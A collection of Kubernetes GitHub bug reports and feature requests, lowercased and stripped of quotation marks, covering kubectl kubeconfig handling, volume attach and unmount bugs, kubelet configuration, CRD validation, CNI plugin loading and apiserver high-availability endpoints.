\r   \r \r \r   what happened  :\r --kubeproxy is not honored\r \r   what you expected to happen  :\r \r the configfile defined by --kubeproxy to be used\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r using following config:\r \r    cat controller.yml \r apiversion: v1\r kind: config\r clusters:\r - cluster:\r     server: https://10.30.10.1:443\r     certificate-authority: /etc/kubernetes/ssl/ca.pem\r   name: api\r contexts:\r - context: \r     namespace: kube-system\r     user: controller\r     cluster: api\r   name: api\r current-context: api\r users:\r - name: controller\r   user:\r     client-certificate: /etc/kubernetes/ssl/controller.pem\r     client-key: /etc/kubernetes/ssl/controller-key.pem \r \r it is not read when given as option:\r \r    kubectl --kubeconfig=/etc/kubernetes/ssl/controller.yml  config view\r 2017-09-04 00:43:13.146836 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-09-04 00:43:13.146889 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-09-04 00:43:13.146908 i | proto: duplicate proto type registered: google.protobuf.timestamp\r apiversion: v1\r clusters:   \r contexts:   \r current-context: \ \ \r kind: config\r preferences: {}\r users:   \r  \r \r while setting kubeconfig works:\r \r    kubeconfig=/etc/kubernetes/ssl/controller.yml kubectl   config view\r 2017-09-04 00:45:00.691309 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-09-04 00:45:00.691358 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-09-04 00:45:00.691492 i | proto: duplicate proto type registered: google.protobuf.timestamp\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /etc/kubernetes/ssl/ca.pem\r     server: https://10.30.10.1:443\r   name: api\r contexts:\r - context:\r     cluster: api\r     namespace: kube-system\r     user: controller\r   name: api\r current-context: api\r kind: config\r preferences: {}\r users:\r - name: controller\r   user:\r     client-certificate: /etc/kubernetes/ssl/controller.pem\r     client-key: /etc/kubernetes/ssl/controller-key.pem\r  \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration  :\r \r aws\r \r - os  e.g. from /etc/os-release :\r  name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r  \r - kernel  e.g.  uname -a  :\r linux ip-10-12-7-54 4.4.0-1022-aws  31-ubuntu smp tue jun 27 11:27:55 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

\r   is this a bug report or feature request?  : bug\r \r  \r   what happened  :\r \r fc and iscsi plugins have attacher interface, these plugins need to run attach operations at kubelet node. therefore attach operations are called during  volumeattacher.waitforattach    call currently.\r \r  waitforattach    is called during  generatemountvolumefunc   , and in this method even if plugin attaches a volume to kubelet node, kubelet doesn't update  devicepath  into actualstateofworld by using  markvolumeasattached   .\r \r as a result, we hit following errors during  generateunmountdevicefunc    call.\r \r    \r e1017 19:44:49.165870   30726 nestedpendingoperations.go:264  operation for \ \\\ kubernetes.io/fc/ 50060e801049cfd1 :0\\\ \  failed. no retries permitted until 2017-10-17 19:44:49.665850506 -0400 edt  durationbeforeretry 500ms . error: \ unmountdevice.deviceopened failed for volume \\\ file-pv001\\\   uniquename: \\\ kubernetes.io/fc/ 50060e801049cfd1 :0\\\   on node \\\ 127.0.0.1\\\  : pathisdevice failed for path \\\ \\\ : stat : no such file or directory\  \r i1017 19:44:49.726788   30726 reconciler.go:283  operationexecutor.unmountdevice started for volume \ file-pv001\   uniquename: \ kubernetes.io/fc/ 50060e801049cfd1 :0\   on node \ 127.0.0.1\   \r w1017 19:44:49.727215   30726 mount.go:165  could not determine device for path: \ /var/lib/kubelet/plugins/kubernetes.io/fc/50060e801049cfd1-lun-0\  \r w1017 19:44:49.727433   30726 util.go:94  warning: unmount skipped because path does not exist: /var/lib/kubelet/plugins/kubernetes.io/fc/50060e801049cfd1-lun-0 \r e1017 19:44:49.727469   30726 nestedpendingoperations.go:264  operation for \ \\\ kubernetes.io/fc/ 50060e801049cfd1 :0\\\ \  failed. no retries permitted until 2017-10-17 19:44:50.727452685 -0400 edt  durationbeforeretry 1s . error: \ unmountdevice failed for volume \\\ file-pv001\\\   uniquename: \\\ kubernetes.io/fc/ 50060e801049cfd1 :0\\\   on node \\\ 127.0.0.1\\\  : fc: failed to detach disk: \ error: fc detach disk: invalid device name: \  \r    \r \r also this problem affects fc plugin's block volume support.\r https://github.com/kubernetes/kubernetes/pull/51493\r \r at the block volume support, we will have  generateunmapdevicefunc    which has similar functionality to the  generateunmountdevicefunc   .\r \r in this method, we need devicepath at step 2 & 3.\r 1. check global map path if symbolic links exist\r 2. remove loopback device which takes file descriptor lock for block device /dev/sdx \r 3. check deviceopened  \r \r   what you expected to happen  :\r \r plugins which attach volume during waitforattach   can store devicepath into actualstateofworld properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create fc pv/pvc then create pod with a pvc\r - delete the pod\r \r   anything else we need to know?  :\r /cc @msau42 @jingxu97  @rootfs \r \r similar problem was reported from @rootfs in previous and then solution was proposed, but this wasn't merged.\r https://github.com/kubernetes/kubernetes/pull/35433\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.1.1281+e3e2e24cc59161-dirty\ , gitcommit:\ e3e2e24cc59161736be459abc2581f2a10b9252d\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t23:19:04z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : fedora 25\r - kernel  e.g.  uname -a  : 4.11.3-200.fc25.x86_64\r - install tools: ./hack/local-up-cluster.sh\r - others:\r \r  cc @kubernetes/sig-storage-bugs\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r we are working on build a config server with k8s, we are proposal enable a external config server to support store configmap based on external config server.  it benefit for enterprise config management purpose. \r \r   background  : \r this configuration data can then be used as:\r   environment variables\r   command-line arguments for a container\r   config files in a volume\r \r kubelet have no --from-config-server flag to change configmap store logic to external config server.\r \r   what you expected to happen  :\r \r vim pkg/kubelet/configmap/configmap_manager.go + 66\r    \r 66 func  s  simpleconfigmapmanager  getconfigmap namespace, name string    v1.configmap, error  {\r \r    \r \r we know the kubelet can parse the configmap's logic. so i want to add a parameter to let kubelet to know the node can support fetch configs from external config server.\r \r   anything else we need to know?  :\r \r anyone can do me a favor to give some advice, thanks a lot.\r \r   environment  :\r - kubernetes version  use  kubectl version  : upstream\r - cloud provider or hardware configuration:  no\r - os  e.g. from /etc/os-release : macos\r - kernel  e.g.  uname -a  :  n/a\r - install tools:  linux\r - others: n/a\r

forked from  4440.  the apiserver proxy uses httputil.newsinglehostreverseproxy. this rewrites urls to a fixed scheme, host, and base path. this is not smart enough to facilitate translation of links to other  intra-cluster  services, pods, and nodes, which are all proxy-able directly. in fact, if someone puts the correct proxy links into their pages, the links are munged and broken by the reverse proxy.  internally, we don't rewrite links. applications use intra-cluster names  dns and our internal ns  and addresses, and we have a few different mechanisms to route those to the reverse proxy.  if we want to stick with the rewriting approach, the proxy should recognize and translate intra-cluster names and addresses.  3481 proposed proxying by ip address in addition to resource path.  cc @enisoc @lavalamp @smarterclayton

failing jobs\r  sig-release-master-upgrade gce-1.10-master-upgrade  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r \r   failing tests\r \r  schedulerpriorities  serial  pod should perfer to scheduled to nodes pod can tolerate  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1668 \r  schedulerpriorities  serial  pod should avoid to schedule to node that have avoidpod annotation  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1668 \r  schedulerpriorities  serial  pod should be schedule to node that don't match the podantiaffinity terms  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r  schedulerpredicates  serial  validates that there is no conflict between pods with same hostport but different hostip and protocol  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r  schedulerpredicates  serial  validates that taints-tolerations is respected if matching  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r  schedulerpredicates  serial  validates that nodeselector is respected if matching  conformance   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r  schedulerpredicates  serial  validates that taints-tolerations is respected if not matching  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r \r /cc @tpepper @aishsundar \r   / /milestone v1.12

what happened  :\r \r while following  this page  https://kubernetes.io/docs/setup/independent/setup-ha-etcd-with-kubeadm/  you set  /etc/systemd/system/kubelet.service.d/20-etcd-service-manager.conf  using this:\r \r    \r cat << eof > /etc/systemd/system/kubelet.service.d/20-etcd-service-manager.conf\r  service \r execstart=\r execstart=/usr/bin/kubelet --address=127.0.0.1 --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\r restart=always\r eof\r \r systemctl daemon-reload\r systemctl restart kubelet\r    \r but kubelet complains about this:\r \r from  journalctl -xeu kubelet :\r \r    \r flag --pod-manifest-path has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r    \r \r so looking at  this page  https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/  it points to this  file  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/config/types.go  which does not have a  podmanifestpath   but it does have a  staticpodpath  which kind of sounds the same but certainly not exact.\r \r \r and setting the config file to:\r \r    \r  service \r execstart=\r execstart=/usr/bin/kubelet  --config=/var/lib/kubelet/config.yaml\r restart=always\r    \r \r and  /var/lib/kubelet/config.yaml :\r \r    \r kind: kubeletconfiguration\r apiversion: kubelet.config.k8s.io/v1beta1\r address: 127.0.0.1\r staticpodpath: /etc/kubernetes/manifests\r    \r \r ends up with:\r \r    \r nov 07 13:15:09 testymaster1 systemd 1 : kubelet.service: service hold-off time over, scheduling restart.\r nov 07 13:15:09 testymaster1 systemd 1 : stopped kubelet: the kubernetes node agent.\r -- subject: unit kubelet.service has finished shutting down\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r -- \r -- unit kubelet.service has finished shutting down.\r nov 07 13:15:09 testymaster1 systemd 1 : started kubelet: the kubernetes node agent.\r -- subject: unit kubelet.service has finished start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r -- \r -- unit kubelet.service has finished starting up.\r -- \r -- the start-up result is done.\r nov 07 13:15:09 testymaster1 kubelet 3038 : i1107 13:15:09.286320    3038 server.go:408  version: v1.12.2\r nov 07 13:15:09 testymaster1 kubelet 3038 : i1107 13:15:09.286902    3038 plugins.go:99  no cloud provider specified.\r nov 07 13:15:09 testymaster1 kubelet 3038 : w1107 13:15:09.287303    3038 server.go:553  standalone mode, no api client\r nov 07 13:15:09 testymaster1 kubelet 3038 : f1107 13:15:09.289992    3038 server.go:262  failed to run kubelet: no client provided, cannot use webhook authentication\r nov 07 13:15:09 testymaster1 systemd 1 : kubelet.service: main process exited, code=exited, status=255/n/a\r nov 07 13:15:09 testymaster1 systemd 1 : kubelet.service: unit entered failed state.\r nov 07 13:15:09 testymaster1 systemd 1 : kubelet.service: failed with result 'exit-code'.\r    \r \r   what you expected to happen  :\r \r kubelet to run\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run  this script  https://gist.github.com/joshuacox/fc629fe4001cd7fd2bb1dcf2db40e2a8  on a freshly provisioned xenial host:\r \r    \r bash test-kubeletconfig.sh  10.0.0.6\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r packer built xenial kvm images using  kubash  https://kubash.org/ \r \r    \r kubash yaml2cluster -n testy ~/testy-cluster.yaml\r kubash -n testy -y provision\r    \r \r from  this yaml  https://gist.github.com/joshuacox/aaebb3d1327cfdaef5a166e49959405e  file defining the cluster. or  this one  https://gist.github.com/joshuacox/0e69650b0b2cdbeb79ab73e67f28d8ff  with fully separate etcd vms.\r \r - os  e.g. from /etc/os-release :\r \r    \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux testymaster1 4.4.0-131-generic  157-ubuntu smp thu jul 12 15:51:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r \r  kubash  https://kubash.org/  of which i am the author, and this is only in regards to kubelet at the moment as i am trying to debug my external etcd provisioning which i have another issue  here  https://github.com/kubernetes/website/issues/10808 \r \r - others:\r \r 

what happened  :\r \r created a crd using the new  x-kubernetes-embedded-resource  extension:\r    yaml\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: foos.example.com\r spec:\r   group: example.com\r   version: v1\r   scope: namespaced\r   names:\r     plural: foos\r     singular: foo\r     kind: foo\r     listkind: foolist\r   preserveunknownfields: false\r   validation:\r     openapiv3schema:\r       type: object\r       properties:\r         spec:\r           type: object\r           properties:\r             template:\r               type: object\r               x-kubernetes-embedded-resource: true\r               x-kubernetes-preserve-unknown-fields: true\r               properties:\r                 spec:\r                   type: object\r         metadata:\r           type: object\r           properties:\r             name:\r               type: string\r    \r \r checked the published openapi spec:\r    \r $ kubectl get --raw /openapi/v2 | jq '.definitions \ com.example.v1.foo\  '\r    \r    json\r {\r   \ type\ : \ object\ ,\r   \ properties\ : {\r     \ apiversion\ : {\r       \ description\ : \ apiversion defines the versioned schema of this representation of an object. servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md resources\ ,\r       \ type\ : \ string\ \r     },\r     \ kind\ : {\r       \ description\ : \ kind is a string value representing the rest resource this object represents. servers may infer this from the endpoint the client submits requests to. cannot be updated. in camelcase. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md types-kinds\ ,\r       \ type\ : \ string\ \r     },\r     \ metadata\ : {\r       \ description\ : \ standard object's metadata. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md metadata\ ,\r       \ $ref\ : \  /definitions/io.k8s.apimachinery.pkg.apis.meta.v1.objectmeta\ \r     },\r     \ spec\ : {\r       \ type\ : \ object\ ,\r       \ properties\ : {\r         \ template\ : {\r           \ type\ : \ object\ ,\r           \ properties\ : {\r             \ spec\ : {\r               \ type\ : \ object\ \r             }\r           },\r           \ x-kubernetes-embedded-resource\ : true,\r           \ x-kubernetes-preserve-unknown-fields\ : true\r         }\r       }\r     }\r   },\r   \ x-kubernetes-group-version-kind\ :  \r     {\r       \ group\ : \ example.com\ ,\r       \ kind\ : \ foo\ ,\r       \ version\ : \ v1\ \r     }\r    \r }\r    \r \r created an instance of the resource:\r foo.yaml:\r    yaml\r kind: foo\r apiversion: example.com/v1\r metadata:\r   name: myfoo\r   labels:\r     a: b\r spec:\r   template:\r      apiversion: foo/v1\r      kind: sub\r     metadata:\r       name: subobject\r       bogus: fields\r       labels:\r         a: b\r         b:  true,false \r         c: \ a value\ \r     spec:\r       readonly: true\r    \r    \r kubectl create -f foo.yaml\r kubectl get foo/myfoo -o yaml\r    \r    yaml\r apiversion: example.com/v1\r kind: foo\r metadata:\r   annotations:\r   creationtimestamp: \ 2019-06-07t03:16:48z\ \r   generation: 6\r   labels:\r     a: b\r   name: myfoo\r   namespace: default\r   resourceversion: \ 493\ \r   selflink: /apis/example.com/v1/namespaces/default/foos/myfoo\r   uid: fd5a311d-b318-490d-a127-82b916dde188\r spec:\r   template:\r     metadata:\r       bogus: fields\r       labels:\r         a: b\r         b:\r         - true\r         - false\r         c: \ a value\ \r       name: subobject\r     spec: {}\r    \r \r   what you expected to happen  :\r \r 1. kind, apiversion, and metadata to be added to the schema for the  x-kubernetes-embedded-resource  object\r 2.  kind  and  apiversion  to be required to be present, non-empty, and apiversion to pass  parsegroupversion \r 3.  metadata  to be schema-checked  fail on the array value under labels , pruned  dropped the  bogus  field , and validated  fail on the invalid label value for \ c\  \r 4. if kind, apiversion, or metadata properties were defined in the schema, they would further restrict the allowed values, but the built-in validation would still occur as well\r 5. if pruning is enabled on the crd, the kind/apiversion/metadata fields should be preserved  and metadata should be pruned according to the fields supported by objectmeta \r 6. if pruning is not enabled on the crd, metadata should be pruned according to the fields supported by objectmeta\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r from the api doc:\r    \r \t// x-kubernetes-embedded-resource defines that the value is an\r \t// embedded kubernetes runtime.object, with typemeta and\r \t// objectmeta. the type must be object. it is allowed to further\r \t// restrict the embedded object. kind, apiversion and metadata\r \t// are validated automatically. x-kubernetes-preserve-unknown-fields\r \t// is allowed to be true, but does not have to be if the object\r \t// is fully specified  up to kind, apiversion, metadata .\r    \r \r /milestone v1.15\r  /area custom-resources\r / /assign @sttts

forked from https://github.com/kubernetes/kubernetes/pull/20626 issuecomment-182093497  in a federated api servers setup, cluster admin can bring up a new server that exposes its groups at some other location than  /apis . discovery and dynamic client wont know that there is a new prefix in the cluster that they should use to figure out the list of all resources in the cluster.  one way to fix this is to add another discovery endpoint which lists all api group prefixes in the cluster. discovery client can then look at that endpoint to become aware of the new prefix.  thoughts?  @lavalamp @smarterclayton @kubernetes/sig-api-machinery

cpu for kubelet sits between 33 and 80 all the time with sometimes 150% spikes. running just two pods configured in /etc/kubernetes/manifets/. all containers running with hostnetwork: true  versions: docker version 1.8.2-el7.centos, build a01dc02/1.8.2 centos linux release 7.2.1511  core   kubernetes-client-1.2.0-0.6.alpha1.git8632732.el7.x86_64  config:  root@rc0 ~   more /etc/kubernetes/config  kube_logtostderr=\ --logtostderr=true\  kube_log_level=\ --v=0\  kube_allow_priv=\ --allow_privileged=true\  kube_master=\ --master=http://127.0.0.1:18080\    root@rc0 ~   more /etc/kubernetes/kubelet  kubelet_address=\ --address=127.0.0.1\  kubelet_hostname=\ --hostname-override=127.0.0.1\  kubelet_args=\ --config /etc/kubernetes/manifests/ --cadvisor-port=4194\

hello,  i'm trying to use a  poststart  hook to run a config task in a pod. in my hook script i look up the   pods   referenced by a   service  , to find all the   pods   related to the one i'm starting.  the curl call to the  apiserver  works fine when inside the container, but when running within the  poststart  hook, it just returns nothing. since i wait for it to return something to run the rest of the code, it just loops forever and the   pod   is never  running : it stays in  containercreating  mode.  is a   pod   only registered with the   service   after it is in  running  state?  that would explain the behavior.  i would have though that  poststart  means after start, that is the pod should actually be in 'running' state, but it doesn't seem to be the case.  is this meant to be or is it a bug?

supporting dns for windows containers in docker was recently merged as part of; https://github.com/docker/docker/pull/25987 https://github.com/docker/libnetwork/pull/1412  this issue is to track the work to support dns for windows containers in kubernetes.  possible solution include passing  --dns=ip_address  argument to the  docker run  command.

what happened  :\r \r when upgrading k8s on the 1.7.x branch,  1.7.4 to 1.7.6 exactly , every kubernetes services can be restarted without problems except for kubelet that cause volumes get umounted in pods.\r \r i use glusterfs volumes and when i restart kubelet the volume is unmounted and it case a crash of the applications.\r \r    \r         volumemounts:\r         - name: db-folder\r           mountpath: /var/lib/mysql\r       volumes:\r         - name: db-folder\r           glusterfs:\r             endpoints: glusterfs-cluster\r             path: website-db\r             readonly: false\r    \r \r    \r root@website-db-3276445667-gl5nv:/  df -h\r df: /var/lib/mysql: transport endpoint is not connected\r root@nwebsite-db-3276445667-gl5nv:/  cd /var/lib/mysql\r bash: cd: /var/lib/mysql: transport endpoint is not connected\r    \r   what you expected to happen  :\r kubelet need to be able to restart without this issue. \r \r   how to reproduce it  as minimally and precisely as possible   :\r - use external volumes  glusterfs but other can be impacted?  ,\r \r - go on the worker where your pod run, \r \r - restart kubelet,\r \r - check if your application is still up. \r \r \r kubernetes version  use  kubectl version  :\r \r 1.7.6\r \r cloud provider or hardware configuration  :\r \r debian 9, multi nodes, ipv4/6 with calico, on premise. \r \r 

is this a bug report or feature request?  :\r bug-report\r \r  \r   what happened  :\r i tried to setup canal/calico, but the kubelet fails to load the 10-calico.conflist file. the kubelets log states 'cni config uninitialized'.\r \r    bash\r 16:31 worker03 kubelet 897 : e1107 17:16:31.443948     897 kuberuntime_sandbox.go:54  createpodsandbox for pod \ busybox-w3_default 306aae5c-c3d7-11e7-9d9a-0022195f6b5b \  failed: rpc error: code = 2 desc = failed to create network for container k8s_infra_busybox-w3_default_306aae5c-c3d7-11e7-9d9a-0022195f6b5b_0 in sandbox 2c4d4abf9049c94a95da3e6e129b015f420754185c31fafe0fe60144e8dc6d3e: cni config uninitialized\r nov 07 17:16:31 worker03 kubelet 897 : e1107 17:16:31.443975     897 kuberuntime_manager.go:618  createpodsandbox for pod \ busybox-w3_default 306aae5c-c3d7-11e7-9d9a-0022195f6b5b \  failed: rpc error: code = 2 desc = failed to create network for container k8s_infra_busybox-w3_default_306aae5c-c3d7-11e7-9d9a-0022195f6b5b_0 in sandbox 2c4d4abf9049c94a95da3e6e129b015f420754185c31fafe0fe60144e8dc6d3e: cni config uninitialized\r nov 07 17:16:31 worker03 kubelet 897 : e1107 17:16:31.444031     897 pod_workers.go:182  error syncing pod 306aae5c-c3d7-11e7-9d9a-0022195f6b5b  \ busybox-w3_default 306aae5c-c3d7-11e7-9d9a-0022195f6b5b \  , skipping: failed to \ createpodsandbox\  for \ busybox-w3_default 306aae5c-c3d7-11e7-9d9a-0022195f6b5b \  with createpodsandboxerror: \ createpodsandbox for pod \\\ busybox-w3_default 306aae5c-c3d7-11e7-9d9a-0022195f6b5b \\\  failed: rpc error: code = 2 desc = failed to create network for container k8s_infra_busybox-w3_default_306aae5c-c3d7-11e7-9d9a-0022195f6b5b_0 in sandbox 2c4d4abf9049c94a95da3e6e129b015f420754185c31fafe0fe60144e8dc6d3e: cni config uninitialized\ \r    \r \r if i rename the config to 10-calico.conf it gets picked up, but the error just changes to 'no plugin name provided'.\r \r    bash\r nov 07 20:10:11 worker03 kubelet 3925 : e1107 20:10:11.604519    3925 remote_runtime.go:91  runpodsandbox from runtime service failed: rpc error: code = 2 desc = failed to create network for container k8s_infra_busybox-w3_default_88d62a8d-c3ef-11e7-9d9a-0022195f6b5b_0 in sandbox 7a1ad45ffbe861e17836f2331240d180bbaf26019833a85c6006920fd14d8b6d: no plugin name provided\r nov 07 20:10:11 worker03 kubelet 3925 : e1107 20:10:11.604614    3925 kuberuntime_sandbox.go:54  createpodsandbox for pod \ busybox-w3_default 88d62a8d-c3ef-11e7-9d9a-0022195f6b5b \  failed: rpc error: code = 2 desc = failed to create network for container k8s_infra_busybox-w3_default_88d62a8d-c3ef-11e7-9d9a-0022195f6b5b_0 in sandbox 7a1ad45ffbe861e17836f2331240d180bbaf26019833a85c6006920fd14d8b6d: no plugin name provided\r nov 07 20:10:11 worker03 kubelet 3925 : e1107 20:10:11.604641    3925 kuberuntime_manager.go:618  createpodsandbox for pod \ busybox-w3_default 88d62a8d-c3ef-11e7-9d9a-0022195f6b5b \  failed: rpc error: code = 2 desc = failed to create network for container k8s_infra_busybox-w3_default_88d62a8d-c3ef-11e7-9d9a-0022195f6b5b_0 in sandbox 7a1ad45ffbe861e17836f2331240d180bbaf26019833a85c6006920fd14d8b6d: no plugin name provided\r nov 07 20:10:11 worker03 kubelet 3925 : e1107 20:10:11.604794    3925 pod_workers.go:182  error syncing pod 88d62a8d-c3ef-11e7-9d9a-0022195f6b5b  \ busybox-w3_default 88d62a8d-c3ef-11e7-9d9a-0022195f6b5b \  , skipping: failed to \ createpodsandbox\  for \ busybox-w3_default 88d62a8d-c3ef-11e7-9d9a-0022195f6b5b \  with createpodsandboxerror: \ createpodsandbox for pod \\\ busybox-w3_default 88d62a8d-c3ef-11e7-9d9a-0022195f6b5b \\\  failed: rpc error: code = 2 desc = failed to create network for container k8s_infra_busybox-w3_default_88d62a8d-c3ef-11e7-9d9a-0022195f6b5b_0 in sandbox 7a1ad45ffbe861e17836f2331240d180bbaf26019833a85c6006920fd14d8b6d: no plugin name provided\ \r    \r the config itself is the configmap straight from the canal.yaml  here  https://github.com/projectcalico/canal/blob/master/k8s-install/1.7/canal.yaml l18  without any changes. \r \r    json\r     the cni network configuration to install on each node.\r   cni_network_config: |-\r     {\r         \ name\ : \ k8s-pod-network\ ,\r         \ cniversion\ : \ 0.3.0\ ,\r         \ plugins\ :  \r             {\r                 \ type\ : \ calico\ ,\r                 \ log_level\ : \ info\ ,\r                 \ datastore_type\ : \ kubernetes\ ,\r                 \ nodename\ : \ __kubernetes_node_name__\ ,\r                 \ ipam\ : {\r                     \ type\ : \ host-local\ ,\r                     \ subnet\ : \ usepodcidr\ \r                 },\r                 \ policy\ : {\r                     \ type\ : \ k8s\ ,\r                     \ k8s_auth_token\ : \ __serviceaccount_token__\ \r                 },\r                 \ kubernetes\ : {\r                     \ k8s_api_root\ : \ https://__kubernetes_service_host__:__kubernetes_service_port__\ ,\r                     \ kubeconfig\ : \ __kubeconfig_filepath__\ \r                 }\r             },\r             {\r                 \ type\ : \ portmap\ ,\r                 \ capabilities\ : {\ portmappings\ : true},\r                 \ snat\ : true\r             }\r          \r     }\r    \r \r \r   what you expected to happen  :\r that the kubelet loads the 10-calico.conflist and configures cni properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r setup a kubernetes 1.7.x cluster and try to run the canal.yaml linked aboved. more details also described here https://github.com/projectcalico/canal/issues/111 \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes versions tested: 1.7.6 and 1.7.10\r - hardware configuration: dell various, from r200, r420, r710\r - debian stretch\r - kernel 4.9.0-3-amd64\r \r   questions:  \r does the kubelet indeed support  .conflist files? if so, what version does that require?\r \r does the kubelet support cni-plugin-lists described  here  https://github.com/containernetworking/cni/blob/master/spec.md network-configuration-lists ?  if so, what version does that require?\r \r are the any command line parameters to the kubelet that may affect the support of  .conflist files besides '--cni-bin-dir', '--cni-conf-dir' and '--network-plugin'?\r \r thanks!\r \r ps: i also tried on  so  https://stackoverflow.com/questions/47188004/kubelet-does-not-recognize-10-calico-conflist , but no luck.

i used 3 master nodes to deploy the kubernetes ha cluster binary installation , but when a master node goes down, its kube-apiserver endpoint is not automatically removed from the endpoints of  kubernetes  svc.\r \r kube-apiserver:\r    bash\r $ kube-apiserver \\\r   --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,noderestriction,resourcequota \\\r   --allow-privileged=true \\\r   --apiserver-count=3 \\\r   --audit-log-maxage=30 \\\r   --audit-log-maxbackup=3 \\\r   --audit-log-maxsize=100 \\\r   --audit-log-path=/var/log/kubernetes/audit.log \\\r   --authorization-mode=node,rbac \\\r   --enable-swagger-ui=true \\\r   --etcd-cafile=/etc/etcd/pki/ca.pem \\\r   --etcd-certfile=/etc/etcd/pki/etcd.pem \\\r   --etcd-keyfile=/etc/etcd/pki/etcd-key.pem \\\r   --etcd-servers=https://${ectd1_ip}:2379,https://${ectd2_ip}:2379,https://${ectd3_ip}:2379 \\\r   --storage-backend=etcd3 \\\r   --advertise-address=${master_ip} \\\r   --bind-address=${master_ip} \\\r   --secure-port=6443 \\\r   --insecure-bind-address=127.0.0.1 \\\r   --insecure-port=8080 \\\r   --runtime-config=rbac.authorization.k8s.io/v1 \\\r   --service-account-key-file=/etc/kubernetes/pki/ca-key.pem \\\r   --service-cluster-ip-range=10.254.0.0/16 \\\r   --service-node-port-range=30000-32000 \\\r   --tls-cert-file=/etc/kubernetes/pki/kube-apiserver.pem \\\r   --tls-private-key-file=/etc/kubernetes/pki/kube-apiserver-key.pem 